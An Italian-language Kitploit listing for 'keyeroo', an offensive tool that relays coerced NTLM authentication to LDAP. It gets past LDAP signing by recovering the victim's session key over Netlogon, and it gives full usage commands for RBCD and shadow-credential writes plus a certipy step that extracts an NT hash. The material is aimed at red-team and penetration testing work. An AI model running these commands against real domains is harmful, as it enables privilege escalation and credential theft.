Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
keyeroo — Inoltra l'autenticazione NTLM forzata a LDAP ed esegue scritture come la vittima recuperando la sua chiave di sessione tramite un canale sicuro Netlogon, aggirando la firma LDAP. | Kitploit
Strumenti/GitHubGitHub/grayhatkiller/keyeroo
Escalation di PrivilegiGestione IdentitàExploitStrumenti di ImpersonificazioneMovimento LateraleSfruttamento di Applicazioni WebPost-ExploitSicurezza di RetePenetration TestingAutenticazioneRed Teaming
2310 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubgrayhatkiller/keyeroo

keyeroo

Inoltra l'autenticazione NTLM forzata a LDAP ed esegue scritture come la vittima recuperando la sua chiave di sessione tramite un canale sicuro Netlogon, aggirando la firma LDAP.

Vedi Repository

Keyeroo

Inoltra l'autenticazione NTLM di una vittima coartata a LDAP ed esegui un'operazione come quella vittima, anche quando il domain controller richiede la firma LDAP ed è completamente aggiornato.

Se un DC richiede la firma LDAP, non possiamo inoltrare NTLM a LDAP perché non conosciamo la session key della vittima, che è la chiave di firma per ogni messaggio LDAP dopo il bind. Switcheroo aggirava questo problema impilando il bind e l'operazione in un unico buffer firmato con la nostra session key, ma l'aggiornamento di ottobre 2026 ha corretto ciò. Keyeroo segue un percorso diverso. Invece di aggirare la session key che non possediamo, andiamo a recuperare la vera session key della vittima usando le credenziali dell'account macchina su un canale sicuro Netlogon, poi ne deriviamo la chiave di firma e firmiamo l'operazione come farebbe la vittima.

Contesto

Lo strumento LDAP Switcheroo e il suo writeup, Signed, Sealed, and Relayed, NTLM-style: Bypassing LDAP Signing Through Reauthentication, trattano il bypass originale della firma LDAP e la sua causa profonda. Keyeroo è il seguito per il caso che Switcheroo non gestisce più dopo la patch di ottobre 2026.

Come funziona

L'idea è far sì che il DC recuperi per noi la session key dell'utente.

  1. Quando la vittima si autentica verso di noi tramite SMB, rispondiamo con un CHALLENGE con il TargetInfo rimosso. Una vittima compatibile con NTLMv1 risponde con un AUTHENTICATE NTLMv1-ESS (24 byte) invece di NTLMv2.
  2. Prendiamo quell'AUTHENTICATE e lo validiamo tramite un account macchina che controlliamo, sul suo canale sicuro Netlogon (NetrLogonSamLogonWithFlags). Il DC lo valida per noi e restituisce la base key della vittima. Da lì deriviamo la chiave di scambio NTLMv1-ESS e decifriamo la session key esportata della vittima.
  3. Ora abbiamo la session key della vittima, e la chiave di firma LDAP è derivata da essa. Completiamo il bind LDAP della vittima, ri-generiamo le chiavi della connessione con la session key recuperata e inviamo la nostra operazione (RBCD per impostazione predefinita) nel suo proprio record SASL firmato con la chiave di firma della vittima. La firma è quella della vittima, quindi il DC la accetta anche con la firma obbligatoria.

Il risultato è una scrittura LDAP come l'account coartato, che si tratti di RBCD, shadow credentials, o qualsiasi attributo, senza bisogno di alcuna credenziale LDAP nostra. Keyeroo è un wrapper attorno a ntlmrelayx.py di Impacket e lo avvia per te.

Il problema è che questo funziona solo se la vittima invia NTLMv1-ESS, il che significa LmCompatibilityLevel 2 o inferiore, oppure uno stack più vecchio. Windows moderno usa NTLMv2 per impostazione predefinita, e Windows 11 e Server 2025 eliminano del tutto NTLMv1, quindi questo è un percorso legacy. Dove quel legacy è ancora presente, supera la firma LDAP su un DC aggiornato.

Requisiti

  • Un account macchina controllato dall'attaccante di cui conosci la password o l'hash NT, per il canale sicuro Netlogon (-oracle-machine). Con il MachineAccountQuota predefinito qualsiasi utente di dominio può crearne uno.
  • Una vittima che emette NTLMv1-ESS — cioè LmCompatibilityLevel <= 2 o una sorgente legacy. Per impostazione predefinita Windows moderno emette NTLMv2 (e Windows 11 / Server 2025 rimuovono del tutto NTLMv1), quindi questo è un percorso dipendente dal legacy.
  • La vittima coartata ad autenticarsi verso -listen-ip tramite SMB, e autorizzata a scrivere l'oggetto di destinazione (ad es. il proprio attributo RBCD).

Utilizzo

sudo PYTHONPATH=/path/to/impacket python3 keyeroo.py \
    '<DC.fqdn>' \
    -dc-ip <DC_IP> \
    -base-dn 'DC=example,DC=com' \
    -domain 'example.com' \
    -oracle-machine 'ATTACKERPC$' -oracle-password 'MachinePassw0rd!' \
    -listen-ip <ATTACKER_IP> \
    -victim 'EXAMPLE/VICTIM$' \
    -modify-dn 'CN=VICTIM,CN=Computers,DC=example,DC=com' \
    -rbcd-sid '<ATTACKER_COMPUTER_SID>' \
    -ntlmrelayx /path/to/impacket/examples/ntlmrelayx.py

Poi costringi la vittima verso -listen-ip da un altro terminale.

  • La connessione LDAP iniziale è anonima a meno che non si prefissi il target con domain/user[:password]@ (in tal caso è autenticata e viene eseguito il controllo di rilettura).
  • Credenziali Oracle: -oracle-password <pw> o -oracle-hashes [LM]:NT.
  • -oracle-dc-ip seleziona il DC per il canale sicuro Netlogon (predefinito a -dc-ip).
  • Payload: -rbcd-sid <SID> (RBCD), -shadow-credentials (Key Credential), o -value/-value-hex con -attribute.

Shadow Credentials (-shadow-credentials)

Aggiunge una Key Credential al msDS-KeyCredentialLink del target (LDAP add, quindi le chiavi esistenti sopravvivono) e scrive un PFX che puoi monetizzare con PKINIT:

sudo PYTHONPATH=... python3 keyeroo.py '<DC.fqdn>' \
    -dc-ip <DC_IP> -base-dn 'DC=example,DC=com' -domain 'example.com' \
    -oracle-machine 'ATTACKERPC$' -oracle-password 'MachinePassw0rd!' \
    -listen-ip <ATTACKER_IP> -victim 'EXAMPLE/VICTIM$' \
    -modify-dn 'CN=TARGET,CN=Computers,DC=example,DC=com' \
    -shadow-credentials -pfx-out /tmp/sc -pfx-pass keyeroo \
    -ntlmrelayx /path/to/impacket/examples/ntlmrelayx.py

Poi recupera l'hash NT del target (richiede PKINIT della foresta, ovvero un certificato CA aziendale / KDC):

certipy-ad auth -pfx /tmp/sc.pfx -password keyeroo -dc-ip <DC_IP> \
    -domain example.com -username 'TARGET$'

Requisiti specifici di questa modalità: la vittima deve essere autorizzata a scrivere msDS-KeyCredentialLink su -modify-dn (la scrittura su se stessi funziona quando la vittima può modificare il proprio oggetto), e la foresta deve supportare PKINIT. Eseguire la pulizia successivamente, ad es. certipy-ad shadow clear -u <admin>@<domain> -account 'TARGET$'.

Relazione con Switcheroo

Switcheroo impila il Bind della vittima e l'operazione in un unico record firmato con la chiave di sessione dell'attaccante (corretta dalla patch LDAP di ottobre 2026). Keyeroo invece recupera la chiave di sessione della vittima, così l'operazione è una normale richiesta firmata come la vittima — il che rimane efficace contro il DC aggiornato che richiede la firma (dato un vittima in grado di supportare NTLMv1-ESS).

Scarica lo strumento